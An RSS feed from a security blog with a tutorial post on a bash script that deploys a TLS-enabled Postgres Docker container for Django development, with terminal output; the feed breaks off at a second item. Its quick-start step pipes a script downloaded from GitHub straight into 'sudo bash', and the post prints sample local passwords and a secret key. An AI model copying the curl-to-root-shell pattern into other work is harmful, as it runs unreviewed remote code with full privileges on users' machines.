<?xml version="1.0" encoding="UTF-8" standalone="no"?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" version="2.0">

<channel>
	<title>Hackarandas - Donde las ideas se dispersan en bytes...</title>
	<atom:link href="https://hackarandas.com/blog/feed/" rel="self" type="application/rss+xml"/>
	<link>https://hackarandas.com/blog</link>
	<description>Blog de Seguridad informática que abarca desde seguridad para el usuario final hasta herramientas de hacking.</description>
	<lastBuildDate>Thu, 23 Apr 2020 05:37:39 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.8.1</generator>

<image>
	<url>https://hackarandas.com/blog/wp-content/uploads/2020/03/cropped-hackarandas-facebook-logo-1-32x32.png</url>
	<title>H4CKarandas</title>
	<link>https://hackarandas.com/blog</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Secure by Default Postgres Docker Container for Development</title>
		<link>https://hackarandas.com/blog/2020/04/20/secure-by-default-postgres-docker-container-for-development/</link>
					<comments>https://hackarandas.com/blog/2020/04/20/secure-by-default-postgres-docker-container-for-development/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Tue, 21 Apr 2020 01:06:37 +0000</pubDate>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Databases]]></category>
		<category><![CDATA[DevOps]]></category>
		<category><![CDATA[Docker]]></category>
		<category><![CDATA[Postgres]]></category>
		<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">https://hackarandas.com/blog/?p=764</guid>

					<description><![CDATA[In this post I will explain how to provide a secure postgres server docker container. This is useful when developing certain applications, for example a Django application. You can only run a this script and it will automatically detect if &#8230; <a href="https://hackarandas.com/blog/2020/04/20/secure-by-default-postgres-docker-container-for-development/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<p><img decoding="async" src="https://hackarandas.com/blog/wp-content/uploads/2020/04/postgres-mac-icon-150x150.jpg" alt="" width="150" height="150" class="alignleft size-thumbnail wp-image-771" srcset="https://hackarandas.com/blog/wp-content/uploads/2020/04/postgres-mac-icon-150x150.jpg 150w, https://hackarandas.com/blog/wp-content/uploads/2020/04/postgres-mac-icon-300x300.jpg 300w, https://hackarandas.com/blog/wp-content/uploads/2020/04/postgres-mac-icon-768x768.jpg 768w, https://hackarandas.com/blog/wp-content/uploads/2020/04/postgres-mac-icon.jpg 1024w" sizes="(max-width: 150px) 100vw, 150px" /><br />
In this post I will explain how to provide a secure postgres server docker container. This is useful when developing certain applications, for example a Django application. You can only run a this script and it will automatically detect if an old version of the container exists, delete it and deploy a new one. Or just to deploy a quick and secure by default postgres docker container. The limit is your imagination!</p>
<p>The files used in this post are part of my <a href="https://github.com/ch0ks/devops-tools">DevOps Tools Github repository</a>. Please visit it and look around, you might get some good ideas from it.</p>
<h3>Problem</h3>
<p>I am developing a Django application and during the development I need to create a secure by default postgres docker container. I also need to quickly reset the db constantly for testing purposes.</p>
<h3>Proposal</h3>
<p>Create a script to automate the process and minimize human error.</p>
<h3>Requirements</h3>
<p>This environment was built with:</p>
<ul>
<li>Python 3.6.8</li>
<li>Pipenv version 11.9.0</li>
<li>Docker version 19.03.8</li>
</ul>
<h2>TL;DR</h2>
<p>Quick and dirty way of doing this. Use on your own risk!</p>
<pre lang="text">â¯ mkdir djangoproject
â¯ cd djangoproject 
â¯ pipenv --three
â¯ pipenv shell
â¯ pipenv install django dj-database-url django-heroku
â¯ django-admin startproject myproject
â¯ mv myproject myproject-delme
â¯ mv  myproject-delme/* .
â¯ rm -fr myproject-delme 
â¯ python manage.py startapp myapp
â¯ grep "SECRET_KEY" myproject/settings.py | tr -d ' ' &gt; .env 
â¯ curl -s https://raw.githubusercontent.com/ch0ks/devops-tools/master/files-misc/django-sample-dburl-and-heroku-settings.py &gt; myproject/settings.py 
â¯ curl -s https://raw.githubusercontent.com/ch0ks/devops-tools/master/docker-secure-postgres.sh | sudo bash 2&gt;&amp;1 | tee /dev/stderr | egrep '(DATABASE_URL|PGPASSWORD)' &gt;&gt; .env
â¯ exit
â¯ pipenv shell
â¯ python manage.py migrate
â¯ python manage.py createsuperuser 
â¯ python manage.py runserver 
</pre>
<p>Now point your browser to <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/admin</a>. Profit!</p>
<h2>Glossary</h2>
<p>In this section you will find definitions and explanations for the technologies that we are going to use.</p>
<h3>What is PostgresSQL?</h3>
<p><em>PostgreSQL (/ËˆpoÊŠstÉ¡rÉ›s ËŒkjuË ËˆÉ›l/), also known as Postgres, is a free and open-source relational database management system (RDBMS) emphasizing extensibility and SQL compliance. It was originally named POSTGRES, referring to its origins as a successor to the Ingres database developed at the University of California, Berkeley. In 1996, the project was renamed to PostgreSQL to reflect its support for SQL. After a review in 2007, the development team decided to keep the name PostgreSQL.</em></p>
<p><em>&#8212; <a href="https://en.wikipedia.org/wiki/PostgreSQL">Wikipedia entry on PostgresSQL</a>, April 20, 2020</em></p>
<p>Website: <a href="https://www.postgresql.org/">https://www.postgresql.org/</a></p>
<h3>What is Docker?</h3>
<p><em>Docker is a set of platform as a service (PaaS) products that uses OS-level virtualization to deliver software in packages called containers. Containers are isolated from one another and bundle their own software, libraries and configuration files; they can communicate with each other through well-defined channels. All containers are run by a single operating system kernel and therefore use fewer resources than virtual machines.</em></p>
<p><em>&#8212; <a href="https://en.wikipedia.org/wiki/Docker_(software)">Wikipedia entry on Docker (software)</a>, April 20, 2020</em></p>
<p>Website: <a href="https://www.docker.com/">https://www.docker.com/</a>*</p>
<h3>What is Pipenv?</h3>
<p><em>Pipenv is a tool that aims to bring the best of all packaging worlds (bundler, composer, npm, cargo, yarn, etc.) to the Python world. Windows is a first-class citizen, in our world.</em></p>
<p><em>It automatically creates and manages a virtualenv for your projects, as well as adds/removes packages from your Pipfile as you install/uninstall packages. It also generates the ever-important Pipfile.lock, which is used to produce deterministic builds.</em></p>
<p><em>&#8212; <a href="https://pipenv.pypa.io/en/latest/">Pipenv: Python Dev Workflow for Humans</a>, April 20, 2020</em></p>
<p>Great guide to understand pyenv: https://realpython.com/intro-to-pyenv/</p>
<h3>What is Django?</h3>
<p><em>Django (/ËˆdÊ’Ã¦Å‹É¡oÊŠ/ JANG-goh; stylised as django is a Python-based free and open-source web framework, which follows the model-template-view (MTV) architectural pattern. It is maintained by the Django Software Foundation (DSF), an independent organization established as a 501(c)(3) non-profit.</em></p>
<p><em>&#8212; <a href="https://en.wikipedia.org/wiki/Django_(web_framework)">Wikipedia entry on Django (web framework)</a>, April 20, 2020</em></p>
<p>Website: <a href="https://www.djangoproject.com/">https://www.djangoproject.com/</a></p>
<h2>How Everything Come Together?</h2>
<p>You can download the script from here: <a href="https://raw.githubusercontent.com/ch0ks/devops-tools/master/docker-secure-postgres.sh">docker-secure-postgres.sh</a></p>
<p>Let&#8217;s analyze it by parts. Here we can check which user is executing the script, if is it not <code>root</code> then it autoexecute itself with <code>sudo</code>.</p>
<pre lang="text">
#!/usr/bin/env bash
#title          :Secure Postgress Docker Container for Development
#description    :This is a script that I created to expedite the 
#        creation of a secure docker container during the 
#                development of a Django application
#file_nam       :docker-secure-postgres.sh
#author         :Adrian Puente Z.
#date           :20200315
#version        :1.0
#bash_version   :GNU bash, version 5.0.3(1)-release (x86_64-pc-linux-gnu)
#==================================================================

set -euo pipefail

[ $(id -u) -ne 0 ] && echo "Only root can do that! sudoing..."
if [ "${EUID}" != 0 ]; then sudo $(which ${0}) ${@}; exit; fi
</pre>
<p>At this point the script is now running as <code>root</code> so now it is defining the variables that will use during the execution. You should configure these variables if needed, for example is you want to use another user or name the database something else.</p>
<p>Using Python it will generate two 32 character long strings using numbers, upper and lower case letter and symbols and assign them to the variables  variables <code>APPDBPASSWD</code> and <code>PGPASSWORD</code>. They will be used as the postgres user password and the django user database password. These passwords will be configured later in the script.</p>
<pre lang="text">
## Configure these variables if needed
APPDBHOSTNAME="localhost"
APPDBSRVPORT="5432"
APPUSRNAME="appusr"
APPDBNAME="appdb"
APPDBPASSWD=$(python -c "import random ; print(''.join([random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyz0123456789%^&*(-_+)') for i in range(25)]))")
PGPASSWORD=$(python -c "import random ; print(''.join([random.SystemRandom().choice('abcdefghijklmnopqrstuvwxyz0123456789%^&*(-_+)') for i in range(25)]))")
DOCKERSRVNAME="postgres-securesrv"
SQLFILE=$(mktemp)
True=0
False=1
</pre>
<p>The piece below checks if a copy of the container is running in the machine, if so it will stop it and delete it, otherwise continues with the execution of the script.</p>
<pre lang="text">
# Destroys any old docker container with the same name.
if docker ps -a | grep ${DOCKERSRVNAME} >/dev/null 2>&1 
then 
  echo "Deleting existing ${DOCKERSRVNAME} container."
  docker stop ${DOCKERSRVNAME} > /dev/null 2>&1
  docker rm ${DOCKERSRVNAME} > /dev/null 2>&1
fi
</pre>
<p>Then it will generate a <a href="https://en.wikipedia.org/wiki/Self-signed_certificate">self signed SSL certificate</a> to use it in the postgres server. You can comment the <code>openssl</code> commands and just add your own certificate by adding the server certificate as a file named <code>server.crt</code> and the key as a file named <code>server.key</code>.</p>
<pre lang="text">
# You can comment this part and add your own certificates. Be sure
# to copy them in this directory and to name them accordingly.
openssl req -new -text -passout pass:abcd -subj /CN=${APPDBHOSTNAME} -out server.req -keyout privkey.pem
openssl rsa -in privkey.pem -passin pass:abcd -out server.key
openssl req -x509 -in server.req -text -key server.key -out server.crt
## Setting the right permissions for the postgress user
chmod 600 server.key
chown 999:999 server.key
</pre>
<p>Once the pre-requisites are met then Docker will check if the <a href="https://hub.docker.com/_/postgres/">official container image for PostgreSQL</a> exists in the machine, if not it will download a copy from from <a href="https://hub.docker.com/">Docker Hub</a>. Once the image is in the machine it will configure a new postgres docker container by adding the certificates mentioned before and the postgres user password contained in the variable <code>PGPASSWORD</code>, the database base administrator user of the server.</p>
<pre lang="text">
docker run -d --name ${DOCKERSRVNAME} \
       -v "${PWD}/server.crt:/var/lib/postgresql/server.crt:ro" \
       -v "${PWD}/server.key:/var/lib/postgresql/server.key:ro" \
       -e POSTGRES_PASSWORD=${PGPASSWORD} \
       -p ${APPDBSRVPORT}:${APPDBSRVPORT} \
       postgres \
       -c ssl=on \
       -c ssl_cert_file=/var/lib/postgresql/server.crt \
       -c ssl_key_file=/var/lib/postgresql/server.key 
</pre>
<p>Finally, once the configuration is completed, it will make six tries waiting five seconds in between each to detect if the postgres container is up and running.</p>
<pre lang="text">
echo "Waiting for the container to initialize."
FAILED=${True}
# Waits up to 30 seconds for the container to initialize.
for ((i=0 ; i&lt;6 ; i++))
do
  sleep 5
  if docker ps | grep ${DOCKERSRVNAME} &gt; /dev/null 2&gt;&amp;1 
  then
    if  PGPASSWORD="${PGPASSWORD}" \
      pg_isready -h ${APPDBHOSTNAME} \
             -p ${APPDBSRVPORT} \
             -U postgres
    then
      FAILED=${False}
      break
    fi
  fi
done

if [ ${FAILED} -eq ${True} ]
then
  echo "Container execution failed, showing the logs"
  docker logs ${DOCKERSRVNAME}
  exit 1
fi
</pre>
<p>Once it finds a functional connection it will connect as the dba using the password in the variable <code>PGPASSWORD</code> and configures:</p>
<ul>
<li>The app database name using the variable <code>APPDBNAME</code></li>
<li>The app user using the variable <code>APPUSRNAME</code> </li>
<li>The app user password using the variable <code>APPDBPASSWD</code></li>
</ul>
<p>Notice how it uses the postgres client command line <code>psql</code> and the password configured before reusing the password contained in the variable <code>PGPASSWORD</code>.</p>
<pre lang="text">
echo "Creating sample database."
cat > ${SQLFILE} << _END
CREATE DATABASE ${APPDBNAME};
CREATE USER ${APPUSRNAME} WITH PASSWORD '${APPDBPASSWD}';
ALTER ROLE ${APPUSRNAME} SET client_encoding TO 'utf8';
ALTER ROLE ${APPUSRNAME} SET default_transaction_isolation TO 'read committed';
ALTER ROLE ${APPUSRNAME} SET timezone TO 'UTC';
GRANT ALL PRIVILEGES ON DATABASE ${APPDBNAME} TO ${APPUSRNAME};
_END

# Creating the sample database.
PGPASSWORD="${PGPASSWORD}" psql -h ${APPDBHOSTNAME} -U postgres -f ${SQLFILE}
rm -fr ${SQLFILE}

echo "Sample database created successfully"
echo -en "Save both strings below in your .env file and restart the pipenv environment.\n\n"
echo "DATABASE_URL=\"postgres://${APPUSRNAME}:${APPDBPASSWD}@${APPDBHOSTNAME}:${APPDBSRVPORT}/${APPDBNAME}\""
echo "PGPASSWORD=\"${PGPASSWORD}\""
exit 0
</pre>
<p>Once all is done it will show you both password in the right format for you to add them to your environmental variables.</p>
<pre lang="text">
DATABASE_URL="postgres://appusr:gz)i+jq5xwr0^(3vc-jpbg6t3@localhost:5432/appdb"
PGPASSWORD="a^-mu-*gfm70mrl&nwh5ci_(a"
</pre>
<p>In this case I am using pipenv and I will add them to the <code>.env</code> file. Have in mind that the <code>DATABASE_URL</code> variable follows the database url that is a platform independent way of addressing a database. A database URL is of the form <code>service://[user]:[password]@[hostname]:[port]/[databasename]</code>. I also recommend adding the libraries <a href="https://pypi.org/project/dj-database-url/">dj-database-url</a> and <a href="https://github.com/heroku/django-heroku">django_heroku</a> to your python projects to use this format.</p>
<h2>Sample Django Project</h2>
<p>Let's play a little with this new script. First let's create a proper development environment with pipenv:</p>
<pre lang="text">~/github
â¯ mkdir django-sample
~/github
â¯ cd django-sample
~/github/django-sample
â¯ pipenv --three
Creating a virtualenv for this projectâ€¦
Using ~/.pyenv/versions/3.6.8/bin/python3 (3.6.8) to create virtualenvâ€¦
â ‹Running virtualenv with interpreter ~/.pyenv/versions/3.6.8/bin/python3
Already using interpreter ~/.pyenv/versions/3.6.8/bin/python3
Using base prefix '~/.pyenv/versions/3.6.8'
New python executable in ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/python3
Also creating executable in ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/python
Installing setuptools, pip, wheel...
done.

Virtualenv location: ~/.local/share/virtualenvs/django-sample-2uB5phZ-
Creating a Pipfile for this projectâ€¦
~/github/django-sample
â¯ pipenv shell
Spawning environment shell (/usr/bin/zsh). Use 'exit' to leave.
OK
. ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/activate
. ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/activate
~/github/django-sample
â¯ 
</pre>
<p>Now let's install the django module and the dj-database-url library:</p>
<pre lang="text">~/github/django-sample
â¯ pipenv install django dj-database-url django_heroku
Installing djangoâ€¦
-----8&lt;----------8&lt;----------8&lt;----------8&lt;----------8&lt;-----
-----&gt;8----------&gt;8----------&gt;8----------&gt;8----------&gt;8-----
Installing collected packages: sqlparse, pytz, asgiref, django
Successfully installed asgiref-3.2.7 django-3.0.5 pytz-2019.3 sqlparse-0.3.1

Installing django_herokuâ€¦
Looking in indexes: https://pypi.python.org/simple
Collecting django_heroku
  Downloading django_heroku-0.3.1-py2.py3-none-any.whl (6.2 kB)
-----8&lt;----------8&lt;----------8&lt;----------8&lt;----------8&lt;-----
-----&gt;8----------&gt;8----------&gt;8----------&gt;8----------&gt;8-----
Installing collected packages: psycopg2, whitenoise, django-heroku
Successfully installed django-heroku-0.3.1 psycopg2-2.8.5 whitenoise-5.0.1

Adding django to Pipfile's [packages]â€¦
Installing dj-database-urlâ€¦
-----8&lt;----------8&lt;----------8&lt;----------8&lt;----------8&lt;-----
-----&gt;8----------&gt;8----------&gt;8----------&gt;8----------&gt;8----- (5.5 kB)
Installing collected packages: dj-database-url
Successfully installed dj-database-url-0.5.0

Adding dj-database-url to Pipfile's [packages]â€¦
Pipfile.lock not found, creatingâ€¦
Locking [dev-packages] dependenciesâ€¦
Locking [packages] dependenciesâ€¦
Updated Pipfile.lock (9a4335)!
Installing dependencies from Pipfile.lock (9a4335)â€¦
  ðŸ   â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰â–‰ 5/5 â€” 00:00:00
~/github/django-sample
â¯ 
</pre>
<p>Now let's create the django project and it's application</p>
<pre lang="text">~/github/django-sample
â¯ ls 
Pipfile  Pipfile.lock
~/github/django-sample
â¯ django-admin startproject myproject
~/github/django-sample
â¯ ls
myproject  Pipfile  Pipfile.lock
~/github/django-sample
â¯ mv myproject myproject-delme 
~/github/django-sample
â¯ mv myproject-delme/* .
~/github/django-sample
â¯ rm -fr myproject-delme 
~/github/django-sample
â¯ ls
manage.py  myproject  Pipfile  Pipfile.lock
~/github/django-sample
â¯ python manage.py startapp myapp
~/github/django-sample
â¯ ls
manage.py  myapp  myproject  Pipfile  Pipfile.lock
~/github/django-sample
â¯  
</pre>
<p>I know it looks confusing so let me try to explain. After installing the django module and the dj-database-url library I created a new project using django-admin startproject myproject. This will create a new directory named myproject with all the configuration files. I like to move these files to the current working directory to avoid confusions then using python manage.py startapp myapp to create the application. You can see that the command creates another directory named myapp that contains all the files needed for the application. It is important to have the project and application directory at the same level than the manage.py file or it won't work.</p>
<p>This is the final tree directory:</p>
<pre lang="text">~/github/django-sample
â¯ tree
.
â”œâ”€â”€ manage.py
â”œâ”€â”€ myapp
â”‚Â Â  â”œâ”€â”€ admin.py
â”‚Â Â  â”œâ”€â”€ apps.py
â”‚Â Â  â”œâ”€â”€ __init__.py
â”‚Â Â  â”œâ”€â”€ migrations
â”‚Â Â  â”‚Â Â  â””â”€â”€ __init__.py
â”‚Â Â  â”œâ”€â”€ models.py
â”‚Â Â  â”œâ”€â”€ tests.py
â”‚Â Â  â””â”€â”€ views.py
â”œâ”€â”€ myproject
â”‚Â Â  â”œâ”€â”€ asgi.py
â”‚Â Â  â”œâ”€â”€ __init__.py
â”‚Â Â  â”œâ”€â”€ settings.py
â”‚Â Â  â”œâ”€â”€ urls.py
â”‚Â Â  â””â”€â”€ wsgi.py
â”œâ”€â”€ Pipfile
â””â”€â”€ Pipfile.lock

3 directories, 15 files
~/github/django-sample
â¯ 
</pre>
<p>Now let's create the postgres database:</p>
<pre lang="text">~/github/django-sample
â¯ sudo bash docker-secure-postgres.sh
Deleting existing postgres-securesrv container.
Generating a RSA private key
..........................................................................+++++
...............................................................+++++
writing new private key to 'privkey.pem'
-----
writing RSA key
37f96111773e465bb9d02b52098101c72cff3cc3c1fa92e0f01cc3afa1451cbe
Waiting for the container to initialize.
localhost:5432 - rejecting connections
localhost:5432 - accepting connections
Creating sample database.
CREATE DATABASE?p=755#how-everything-comes-together
CREATE ROLE
ALTER ROLE
ALTER ROLE
ALTER ROLE
GRANT
Sample database created successfully
Save both strings below in your .env file and restart the pipenv environment.

DATABASE_URL="postgres://appusr:+x6odg_mrmvt+ktnd35_9-795@localhost:5432/appdb"
PGPASSWORD="1%isf7s9u7xqqplzqwk)wt9z0"
~/github/django-sample
â¯ 
</pre>
<p>Save the DATABASE_URL and the PGPASSWORD variables, we will use them later.</p>
<p>Finally we will configure the environment for Django to work as expected. Follow these steps:</p>
<ol>
<li>At the top of the file myproject/settings.py file add the following: </li>
</ol>
<pre lang="text">import os &lt;--- After this library
import dj_database_url
import django_heroku

###################################
## Code and other configurations ##
###################################

## At the very bottom of the file
STATIC_URL = '/static/' &lt;--- After this value

django_heroku.settings(locals())
</pre>
<ol>
<li>In the same file look for the variable SECRET_KEY, save it somewhere else and delete it from the file</li>
<li>In the same file also look for the DATABASE variable and change it like this:</li>
</ol>
<pre lang="text"># Database
# https://docs.djangoproject.com/en/3.0/ref/settings/#databases

#DATABASES = {
#    'default': {
#        'ENGINE': 'django.db.backends.sqlite3',
#        'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
#    }
#}

DATABASES = {
    'default': dj_database_url.config()
}
</pre>
<ol>
<li>Add the variables DATABASE_URL, PGPASSWORD and SECRET_KEY to the file .env (if it does not exist create it), it should look like this:</li>
</ol>
<pre lang="text">~/github/django-sample
â¯ cat .env 
DATABASE_URL="postgres://appusr:+x6odg_mrmvt+ktnd35_9-795@localhost:5432/appdb"
PGPASSWORD="1%isf7s9u7xqqplzqwk)wt9z0"
SECRET_KEY="cj4k*%2y%7nz&amp;)3chs*%+ti&amp;o40l)l)jm*^4zk)pkp7tt)cqfn"

~/github/django-sample
â¯ 
</pre>
<p>Now restart the python environment. This is important or the environmental variables won't be taken into account. Do it like this:</p>
<pre lang="text">~/github/django-sample
â¯ exit
~/github/django-sample
â¯ pipenv shell
Loading .env environment variablesâ€¦
Spawning environment shell (/usr/bin/zsh). Use 'exit' to leave.
OK
. ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/activate
. ~/.local/share/virtualenvs/django-sample-2uB5phZ-/bin/activate
~/github/django-sample
â¯ env | egrep '(PASS|KEY|URL)'
DATABASE_URL=postgres://appusr:+x6odg_mrmvt+ktnd35_9-795@localhost:5432/appdb
PGPASSWORD=1%isf7s9u7xqqplzqwk)wt9z0
SECRET_KEY=7f4d%*zn1f5muug2(eu118++-cm)98gy
~/github/django-sample
â¯ 
</pre>
<p>Perfect! At this point you should be able to start your project and initialize your database.</p>
<pre lang="text">~/github/django-sample
â¯ python manage.py migrate 
Operations to perform:
  Apply all migrations: admin, auth, contenttypes, sessions
Running migrations:
  Applying contenttypes.0001_initial... OK
  Applying auth.0001_initial... OK
  Applying admin.0001_initial... OK
  Applying admin.0002_logentry_remove_auto_add... OK
  Applying admin.0003_logentry_add_action_flag_choices... OK
  Applying contenttypes.0002_remove_content_type_name... OK
  Applying auth.0002_alter_permission_name_max_length... OK
  Applying auth.0003_alter_user_email_max_length... OK
  Applying auth.0004_alter_user_username_opts... OK
  Applying auth.0005_alter_user_last_login_null... OK
  Applying auth.0006_require_contenttypes_0002... OK
  Applying auth.0007_alter_validators_add_error_messages... OK
  Applying auth.0008_alter_user_username_max_length... OK
  Applying auth.0009_alter_user_last_name_max_length... OK
  Applying auth.0010_alter_group_name_max_length... OK
  Applying auth.0011_update_proxy_permissions... OK
  Applying sessions.0001_initial... OK
~/github/django-sample
â¯ python manage.py createsuperuser 
Username (leave blank to use 'apuente'): apuente
Email address: nospam@noserver.com
Password: 
Password (again): 
Superuser created successfully.
~/github/django-sample
â¯ psql $(echo ${DATABASE_URL}) -c "select id,is_superuser,username,email from auth_user" 
 id | is_superuser | username |          email          
----+--------------+----------+-------------------------
  1 | t            | apuente  | nospam@noserver.com
(1 row)
~/github/django-sample
â¯ python manage.py runserver
Watching for file changes with StatReloader
Performing system checks...

System check identified no issues (0 silenced).
April 20, 2020 - 23:24:35
Django version 3.0.5, using settings 'myproject.settings'
Starting development server at http://127.0.0.1:8000/
Quit the server with CONTROL-C.
</pre>
<p>Now point your browser to <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/admin</a>. Profit!</p>
<p><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook_messenger" href="https://www.addtoany.com/add_to/facebook_messenger?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Facebook Messenger" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_hacker_news" href="https://www.addtoany.com/add_to/hacker_news?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Hacker News" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_google_bookmarks" href="https://www.addtoany.com/add_to/google_bookmarks?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Google Bookmarks" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_evernote" href="https://www.addtoany.com/add_to/evernote?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Evernote" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_telegram" href="https://www.addtoany.com/add_to/telegram?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Telegram" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_kindle_it" href="https://www.addtoany.com/add_to/kindle_it?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Kindle It" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_flipboard" href="https://www.addtoany.com/add_to/flipboard?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Flipboard" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_wechat" href="https://www.addtoany.com/add_to/wechat?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="WeChat" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_instapaper" href="https://www.addtoany.com/add_to/instapaper?linkurl=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&amp;linkname=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" title="Instapaper" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Fhackarandas.com%2Fblog%2F2020%2F04%2F20%2Fsecure-by-default-postgres-docker-container-for-development%2F&#038;title=Secure%20by%20Default%20Postgres%20Docker%20Container%20for%20Development" data-a2a-url="https://hackarandas.com/blog/2020/04/20/secure-by-default-postgres-docker-container-for-development/" data-a2a-title="Secure by Default Postgres Docker Container for Development"><img src="https://static.addtoany.com/buttons/share_save_120_16.png" alt="Share"></a></p>]]></content:encoded>
					
					<wfw:commentRss>https://hackarandas.com/blog/2020/04/20/secure-by-default-postgres-docker-container-for-development/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Full Metal Jacket Meets Security</title>
		<link>https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/</link>
					<comments>https://hackarandas.com/blog/2020/03/26/full-metal-jacket-meets-security/#respond</comments>
		
		<dc:creator><![CDATA[ch0ks]]></dc:creator>
		<pubDate>Thu, 26 Mar 2020 14:00:54 +0000</pubDate>
				<category><![CDATA[Experiences and Stories]]></category>
